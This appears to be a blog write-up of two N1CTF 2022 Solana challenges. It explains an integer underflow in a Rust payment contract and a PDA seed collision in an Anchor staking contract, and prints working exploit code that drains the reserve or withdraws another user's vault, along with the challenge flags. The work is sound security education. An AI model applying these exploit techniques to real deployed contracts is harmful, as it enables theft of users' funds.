N1CTF 2022 Solana Challenges Write-up
Preface
It has been quite a while since my last blog post, and my blog has been gathering dust. Consequently, I have made the decision to begin writing about some fundamental concepts I have learned regarding exploiting Solana Smart Contracts, an area of interest that I have been studying for the past few weeks. Similar to my previous series on the Linux kernel, I will be utilizing CTF challenges as the focus of my investigation. This post will cover two Solana challenges from N1CTF 2022, the most recent CTF in which I have participated.
About Solana
I won’t go into details about Solana or blockchain related stuffs in this post because first of all, I myself am not fully understand everything about them still, and I don’t want to spread misinformation; and secondly, it would be quite redundant since there exists many resources about Solana on the Internet already. Some of those resources:
- Solana documentation: https://docs.solana.com/developers
- Solana Cookbook: https://solanacookbook.com/
- Anchor documentation: https://www.anchor-lang.com/
- The Anchor Book: https://book.anchor-lang.com/
@pencilflip
’s tweet about common Anchor-based contracts vulnerabilities: https://twitter.com/pencilflip/status/1483880018858201090
N1CTF 2022 - Utility Payment Service
- Given file: Utility_Payment_Service.tar.gz.
- Language: vanilla Rust program
- Bug type: Integer underflow
Given files
This section provides a brief overview of the handful of files included in the challenge. There are three directories: program
, server
, and solve
.
- The
program
directory contains the Rust project for the target contract’s source code. It includes typicalcargo
components and thesrc
directory, which consists of the Rust source filesentrypoints.rs
,lib.rs
, andprocessor.rs
(I will cover these files later). - The
server
directory is another Rust project that implements a program to manage our connection to the challenge’s server. It is created using Ottersec’s Solana PoC framework and initializes the Solana environment whenever we connect to the server. - The
solve
directory is also a Rust project. Our objective is to modify thesrc/processor.rs
file to create our exploit contract. We can then utilize thesolve.py
script to run this contract against the server to obtain the flag if our exploit succeeds.
The target contract functionalities
Let’s take a deeper look at the functionalities of our target contract. As the name suggests, it’s a payment service that is implemented with two PDAs: a reserve
account to store all the actual funds, and an escrow
account for each user to manage their balance on the contract:
#[repr(C)]
#[derive(BorshSerialize, BorshDeserialize)]
pub struct Escrow {
pub user: Pubkey,
pub amount: u16,
pub bump: u8,
}
This contract supports 4 instructions for interaction. Firstly, users can use the Init
instruction to create their own escrow
account, with the amount of funds initialized to 0:
invoke_signed(
&system_instruction::create_account(
&user.key,
&expected_escrow,
1,
ESCROW_ACCOUNT_SIZE as u64,
&program,
),
&[user.clone(), escrow_account.clone(), sys_prog.clone()],
&[&["ESCROW".as_bytes(), &user.key.to_bytes(), &[escrow_bump]]],
)?;
let escrow_data = Escrow {
user: *user.key,
amount: 0,
bump: escrow_bump,
};
Users can then deposit or withdraw lamports to the contract using the Deposit
and Withdraw
instructions, which include transaction checks to ensure the signer is the user and the accounts are the correct PDAs belonging to the contract and user respectively:
assert!(user.is_signer);
let (expected_reserve, _reserve_bump) = get_reserve(*program);
assert_eq!(expected_reserve, *reserve.key);
let (expected_escrow, _escrow_bump) = get_escrow(*program, *user.key);
assert_eq!(expected_escrow, *escrow_account.key);
The desired amount of lamports will then be transferred to the reserve account, and the amount field of the escrow account will be increased or decreased accordingly:
invoke(
&system_instruction::transfer(&user.key, &reserve.key, deposit_amount as u64),
&[
user.clone(),
reserve.clone(),
sys_prog.clone()
],
)?;
let escrow_data = &mut Escrow::deserialize(&mut &(*escrow_account.data).borrow_mut()[..])?;
escrow_data.amount += deposit_amount;
The Withdraw
instruction is pretty much the same, after some checks, ALL the lamports in escrow_data.amount
will be transferred from the reserve
account to the user
, and escrow
account’s amount
will be set to 0.
The Pay
instruction, the most unique and interesting of the four, allows users to utilize funds directly from their escrow
account to make a “utility payment”. The transaction checks are similar to those for Deposit
and Withdraw
, and after being validated, the payment logic is executed:
let base_fee = 15_u16;
if escrow_data.amount >= 10 {
if amount < base_fee {
escrow_data.amount -= base_fee;
} else {
assert!(escrow_data.amount >= amount);
escrow_data.amount -= amount;
}
} else {
msg!("ABORT: Cannot make payments when the escrow account has a balance less than 10 lamports.");
}
And this is exactly where the vulnerability lies.
The vulnerability
As we can see in the code snippet above, the user can only make a payment if they have deposited 10 lamports or more. After that, the desired amount of lamport will be used to make a payment, but the minimum amount that will be used is base_fee
, which equals to 15.
So what if the user invokes this instruction with an amount that is above 10 but below 15? In this case, both escrow_data.amount >= 10
and amount < base_fee
checks will pass, and then escrow_data.amount -= base_fee
will be executed. Therefore, if they have only deposited an amount that is less than 15, their escrow_data.amount
will be less than 15, and this will be an integer underflow because escrow_data.amount
is an unsigned type u16
.
A common misconception for Rust developers is that Rust is a safe language and will always check for arithmetic overflows/underflows by itself. This is NOT TRUE, by default, Rust only checks for these things in DEBUG BUILD, and not release build. Rust silently ignores arithmetic overflows/underflows in its default release build, the same way C does. As far as I know, there are 2 ways to tell Rust to check for those in the release build:
- By using
.checked_
functions, for example, a safe arithmetic in this case will beescrow_data.amount.checked_sub(base_fee)
. - By setting the
overflow-checks
option totrue
inCargo.toml
, as explained in the Rust documentation here. In this challenge, this option is not enabled inprogram/Cargo.toml
.
The server program
Let’s take a quick look at what are initialized on the server before crafting our exploit, implemented in server/src/main.rs
. It’s actually pretty straightforward, this is what it does step by step:
- Make a
user
account - Make a
reserve
PDA for the target contract - Give
user
50 lamports - Give
reserve
1_000_000 lamports - Run our exploit contract
- Check if
user
’s balance is more than 60_000 or not. If they do, the flag is printed
It’s clear that the objective is to turn our 50 lamports to an amount greater than 60_000 with our exploit contract.
The exploit contract
As explained in the vulnerability section above, our plan is to invoke the Pay
instruction with an amount greater than 10 and less than 15, while our escrow_data.amount
is also greater than 10 and less than 15. The steps to do that are:
- Invoke
Init
to initialize ourescrow
account - Invoke
Deposit
with an amount greater than 10 and less than 15. - Invoke
Pay
with the same amount as above, to underflow the unsignedescrow_data.amount
to a very large value. - Invoke
Withdraw
to withdraw the entire balance that we just gained.
Conveniently, solve/src/processor.rs
already implemented the first invocation for us:
invoke(
&Instruction {
program_id: *utility_program.key,
accounts: vec![
AccountMeta::new(*user.key, true),
AccountMeta::new(*reserve.key, false),
AccountMeta::new(*escrow_account.key, false),
AccountMeta::new_readonly(system_program::id(), false),
],
data: ServiceInstruction::Init { }
.try_to_vec()
.unwrap(),
},
&[
reserve.clone(),
escrow_account.clone(),
user.clone(),
sys_prog_account.clone(),
],
)?;
Therefore, what I did was to copy this invocation 3 more times, and then just simply changed the instruction names and arguments:
invoke(
&Instruction {
program_id: *utility_program.key,
accounts: vec![
AccountMeta::new(*user.key, true),
AccountMeta::new(*reserve.key, false),
AccountMeta::new(*escrow_account.key, false),
AccountMeta::new_readonly(system_program::id(), false),
],
data: ServiceInstruction::DepositEscrow { amount: 10_u16 }
.try_to_vec()
.unwrap(),
},
&[
reserve.clone(),
escrow_account.clone(),
user.clone(),
sys_prog_account.clone(),
],
)?;
invoke(
&Instruction {
program_id: *utility_program.key,
accounts: vec![
AccountMeta::new(*user.key, true),
AccountMeta::new(*reserve.key, false),
AccountMeta::new(*escrow_account.key, false),
AccountMeta::new_readonly(system_program::id(), false),
],
data: ServiceInstruction::Pay { amount: 11_u16 }
.try_to_vec()
.unwrap(),
},
&[
reserve.clone(),
escrow_account.clone(),
user.clone(),
sys_prog_account.clone(),
],
)?;
invoke(
&Instruction {
program_id: *utility_program.key,
accounts: vec![
AccountMeta::new(*user.key, true),
AccountMeta::new(*reserve.key, false),
AccountMeta::new(*escrow_account.key, false),
AccountMeta::new_readonly(system_program::id(), false),
],
data: ServiceInstruction::WithdrawEscrow {}
.try_to_vec()
.unwrap(),
},
&[
reserve.clone(),
escrow_account.clone(),
user.clone(),
sys_prog_account.clone(),
],
)?;
The only thing left to do is to change the host IP and port in solve.py
and run it to retrieve the flag from the server. The result shows that user
’s balance went from 50 to 65570, and thus gives us the flag:
n1ctf{cashback_9dejko3vrpaxq8gsy6iu}
N1CTF 2022 - Simple Staking
- Given file: Simple_Staking.tar.gz.
- Language: Anchor Framework
- Bug type: PDA seed collision
Given files
Different from the last challenge, this challenge is written with Anchor Framework instead of just vanilla Rust. Anchor is said to be safer and less error-prone, but it doesn’t mean that it’s bug-free. We are also given a bunch of files, but only some of them are important to us:
framework/chall/program/chall/src/lib.rs
: the implementation of the target contract.framework/chall/src/main.rs
: the implementation of the initializations on the server using Solana CTF Framework.framework-solve/solve/program/solve/src/lib.rs
andframework-solve/solve/src/main.rs
: the implementaion of our exploit contract and its invocation.
The target contract functionalities
I don’t really understand what “staking” means in this context, but it doesn’t really matter. The contract implements 3 instructions: Register
, Deposit
and Withdraw
.
The Register
instruction takes 2 arguments org_name
, employee_id
, and some accounts, most notably catalog
, employee_record
and user
:
#[account]
#[repr(C, align(8))]
#[derive(Default)]
pub struct Catalog {
pub orgs: Vec<String>,
pub ids: Vec<String>,
}
#[account]
#[repr(C, align(8))]
#[derive(Default)]
pub struct EmployeeRecord {
pub org: String,
pub id: String,
pub key: Pubkey,
}
It first checks if org_name
and employee_id
are already in catalog
or not. If that’s not the case, it will add them to it and then populate the fields of employee_record
. Therefore, this intruction is basically used to register a user into the system using their organization name and employee ID.
let employee_key = ctx.accounts.user.key();
employee_record.org = org_name;
employee_record.id = employee_id;
employee_record.key = employee_key;
The Deposit
and Withdraw
instructions take 3 arguments org_name
, employee_id
, amount
and some notable accounts vault
, employee_record
, reserve
, user_token_account
, and mint
. Different from the last challenge, this contract operates on tokens instead of lamports. Each user will have their own ATA for this token called user_token_account
, and a vault
account which is a PDA to keep track of their token balance on the contract. There are a lot of checks to be made before a deposit or withdraw transaction can take place.
First of all, the user invoking the instruction must have been registered to the system:
require!(
user.key() == employee_record.key && org_name == employee_record.org && employee_id == employee_record.id,
CoreError::UnknownEmployee
);
For Withdraw
, the amount must also be a sane value:
require!(
vault.amount >= amount,
CoreError::InsufficientBalance
);
Secondly, the vault
account must use the invoking user’s org_name
and employee_id
as seeds:
#[account(
init_if_needed,
seeds = [org_name.as_bytes(), employee_id.as_bytes()],
bump,
space = Vault::SIZE,
payer = user
)]
pub vault: Account<'info, Vault>,
Thirdly, the employee_record
account must belong to the invoking user:
#[account(
seeds = [user.key().as_ref()],
bump,
constraint = employee_record.org == org_name,
constraint = employee_record.id == employee_id,
constraint = employee_record.key == user.key(),
)]
pub employee_record: Account<'info, EmployeeRecord>,
Next, the reserve
account and the user_token_account
must correspond with the correct mint
token account:
#[account(
mut,
seeds = [ b"RESERVE" ],
bump,
constraint = reserve.mint == mint.key(),
)]
pub reserve: Account<'info, TokenAccount>,
#[account(
mut,
constraint = user_token_account.owner == user.key(),
constraint = user_token_account.mint == mint.key()
)]
pub user_token_account: Account<'info, TokenAccount>,
And finally, the user must be the signer:
pub user: Signer<'info>,
With all those constraints, forging a fake token and ATA, forging a fake employee_record
, or using another user’s vault
are all invalid strategies. The vulnerability is not so obvious here, so let’s take a look at the server initialization program to see what we can do next.
The server program
The program itself is pretty long, but here are some important things that it does:
- Create a mint account
- Initialize the target contract
- Register a user with
org_name = "product"
andemployee_id = "employ_A"
- Mint 1000 tokens to this user
- Create a vault PDA for this user
- Deposit 500 tokens to this user’s vault account
- Give the player 100 tokens
- Run our exploit contract
- Check if the player has more than 100 tokens. If they do, the flag is printed
It’s clear that the objective is to steal tokens from employ_A
’s vault.
The vulnerability
Recall that when registering a user, it’s entirely up to the user to choose their org_name
and employee_id
, as long as they are not already in the catalog
. This is important because the seeds to generate the user’s vault
PDA are exactly those 2 values:
#[account(
init_if_needed,
seeds = [org_name.as_bytes(), employee_id.as_bytes()],
bump,
space = Vault::SIZE,
payer = user
)]
pub vault: Account<'info, Vault>,
As we can see, those 2 values are simply concatenated together to form the seed. So for example in case of employee A, their seed will be productemploy_A
.
So what if we can somehow register a user that has the same seed as employee A? In that case, we can use employee A’s vault
as our own, and basically can withdraw anything from their vault. This is easy to do thanks to how the seeds are designed. If we create a user with org_name = "producte"
and employee_id = "mploy_A"
, it will pass all the checks because these values are not in the catalog
, and our vault
PDA’s seeds will still be productemploy_A
. And that is basically our strategy to exploit this contract.
The exploit contract
Although the vulnerability is very sneaky, the exploit is very easy to implement.
First of all, I changed the vault
PDA’s seeds in framework-solve/solve/src/main.rs
from &[b"product", b"employ_B"]
to &[b"producte", b"mploy_A"]
. I also changed the host IP and port to be the challenge’s server.
The same goes for o1
and e1
in framework-solve/solve/program/solve/src/lib.rs
, I also changed them to producte
and mploy_A
:
let o1 = String::from("producte");
let e1 = String::from("mploy_A");
The invocation of the Register
instruction is already written for us, so by changing these names, I will have a user with org_name = "producte"
and employee_id = "mploy_A"
registered.
Then, the only thing left to do is to invoke Withdraw
to steal tokens from employee A’s vault
:
let o2 = String::from("producte");
let e2 = String::from("mploy_A");
let cpi_accounts = chall::cpi::accounts::Withdraw {
vault: ctx.accounts.vault.to_account_info(),
employee_record: ctx.accounts.user_record.to_account_info(),
reserve: ctx.accounts.reserve.to_account_info(),
user_account: ctx.accounts.user_token_account.to_account_info(),
mint: ctx.accounts.mint.to_account_info(),
payer: ctx.accounts.user.to_account_info(),
token_program: ctx.accounts.token_program.to_account_info(),
system_program: ctx.accounts.system_program.to_account_info(),
rent: ctx.accounts.rent.to_account_info(),
};
let cpi_ctx = CpiContext::new(ctx.accounts.chall.to_account_info(), cpi_accounts);
chall::cpi::withdraw(cpi_ctx, o2, e2, 500)?;
And that’s it, running run.sh
to connect to the server and get the flag:
n1ctf{I_sh0uld_h4ve_ch0s3n_4_b3tt3r_se3d_de5ign}